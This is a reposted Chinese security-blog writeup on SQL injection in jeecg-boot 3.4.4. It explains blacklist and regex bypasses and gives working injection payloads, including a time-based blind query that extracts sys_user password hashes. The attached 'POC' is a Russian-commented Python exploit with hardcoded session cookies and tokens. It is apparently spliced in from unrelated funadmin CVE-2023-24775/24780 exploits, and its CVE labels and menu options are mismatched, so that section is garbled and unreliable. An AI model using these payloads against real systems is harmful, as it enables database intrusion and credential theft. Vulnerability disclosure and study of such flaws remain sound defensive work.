jeecg-boot SQL注入漏洞

admin 2023年4月17日02:28:56评论2,370 views1字数 6488阅读21分37秒阅读模式

一. 漏洞介绍

        jeecg是一个应用软件。一款基于代码生成器的智能开发平台。jeecg jeecg-boot v3.4.4版本存在安全漏洞,该漏洞源于通过构建block report组件发现包含SQL注入漏洞。

二. 影响范围

                版本号:3.4.4
                前端版本:vue2


三. 漏洞分析

SqlInjectionUtil类中sql的注释正则为

private final static Pattern SQL_ANNOTATION = Pattern.compile("/\*.*\*/");

.无法匹配到%0A, 导致可以利用/*%0A*/绕过
关键字检测后存在空格,导致绕过

private final static String XSS_STR = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|user()";


AbstractQueryBlackListHandler类中的黑名单:

ruleMap.put("sys_user", "password,salt");

在isPass函数中ruleMap.get(name)为null即可绕过, 可以采用sys_user, (sys_user), sys_user%20等绕过。

四. 漏洞复现

存在多个注入点:

  1. /sys/duplicate/check接口:

dataId=2000&fieldName=(select(if(((select/*%0A*/password/*%0A*/from/*%0A*/sys_user/*%0A*/where/*%0A*/username/*%0A*/='jeecg')='eee378a1258530cb'),sleep(4),1)))&fieldVal=1000&tableName=sys_log

jeecg-boot SQL注入漏洞

  1. /sys/api/getDictItems


    该接口没有进行签名校验:

jeecg-boot SQL注入漏洞

?dictCode=sys_user%20,username,password

jeecg-boot SQL注入漏洞

  1. sys/dict/queryTableData

?table=%60sys_user%60&pageSize=22&pageNo=1&text=username&code=password

jeecg-boot SQL注入漏洞


五. 漏洞修复

            更新当前系统或软件至最新版,完成漏洞的修复。

六. 漏洞检测POC

import requestsimport sysimport urllib.parseimport uuid


'''Генирация X-CSRF-TOKEN'''
csrf_token =uuid.uuid4()csrf_token =str(csrf_token)csrf_token = csrf_token.replace('-', '')


'''Добавление общих для двух сплоиитов заголовков'''headers = {}headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"headers["Accept"] = "application/json, text/javascript, */*"headers["Accept-Language"]= "zh-CN,zh"headers["X-Requested-With"] = "XMLHttpRequest"headers["X-CSRF-TOKEN"] = csrf_token


'''Сплоит для CVE-2023-24775'''def poc_CVE_2023_24775(url):


headers["Host"] = url headers["Content-Type"] = "application/x-www-form-urlencoded" headers["charset"] = "UTF-8" headers["Accept-Encoding"]= "gzip"

url=str(url) url=url+"/backend/member.memberLevel/index?parentField=pid&"

'''Добавление куки файлов - внимание если эти куки вам не подхдоят можете заменить на ваши сессионные куки ''' cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041','PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D' }

''' Ввод sqli если вы не ввели ничего то ввод стандартной иньекции''' sqli= str(input("input selectFields[name]=name&selectFields[value]=your select sqli"))

if(len(sqli)!=0):
sqli = urllib.parse.quote_plus(sqli) url=url+sqli
else: url=url+"selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29"

print(url)

'''Запрос на инькцию и вывод ответа''' sqli_request= requests.get(url, cookies=cookies, headers=headers)
print(sqli_request.text)

'''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/9''' if('message' in sqli_request.text):
print('**POC CVE-2023-24775 sqli works** :)') else:
print('**POC CVE-2023-24775 sqli not works** :(')


'''Сплоит для CVE-2023-24780'''def poc_CVE_2023_24774(url):


headers["Host"] = url headers["Origin"] = url headers["Accept-Encoding"] = "gzip, deflate"

url=str(url) url=url+"/databases/table/columns?id='"

'''Добавление куки файлов - внимание если эти куки вам не подхдоят, можете заменить на ваши сессионные куки ''' cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041', 'ci_session':'ca40t5m9pvlvp7gftr11qng0g0lofceq', 'PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D'}


''' Ввод sqli, если вы не ввели ничего то ввод стандартной иньекции''' sqli= str(input("input sqli:"))

if(len(sqli)!=0):
sqli = sqli.replace(' ', '+') url=url+sqli+"--+qRTY"
else: url=url+"+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY"
print(url)

'''Запрос на инькцию и вывод ответа''' sqli_request= requests.get(url, cookies=cookies, headers=headers)
print(sqli_request.text)


'''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/6''' if('message' in sqli_request.text):
print('**POC CVE-2023-24774 sqli works** :)') else:
print('**POC CVE-2023-24774 sqli not works** :(')


if __name__ == "__main__":

args = ['-h','-u']
if args[0] in sys.argv: print("-h= help, -u=url; python sql.py -u https://site.com")

if args[1] in sys.argv:

url=sys.argv[2]
which_cve=int(input("which cve test,CVE-2023-24775 or CVE-2023-24780? if CVE-2023-24780 enter 1, if CVE-2023-24775 enter 2:"))

if(which_cve==1):
poc_CVE_2023_24775(url)
if(which_cve==2):
poc_CVE_2023_24774(url)


七.参考链接


https://github.com/jeecgboot/jeecg-boot/issues/4511  https://github.com/jeecgboot/jeecg-boot/issues/4393https://github.com/csffs/CVE-2023-24775-and-CVE-2023-24780/blob/main/sqli_poc.py


jeecg-boot SQL注入漏洞


本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。文库内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。




原文始发于微信公众号(无问之路):jeecg-boot SQL注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日02:28:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   jeecg-boot SQL注入漏洞https://cn-sec.com/archives/1657315.html

发表评论

匿名网友 填写信息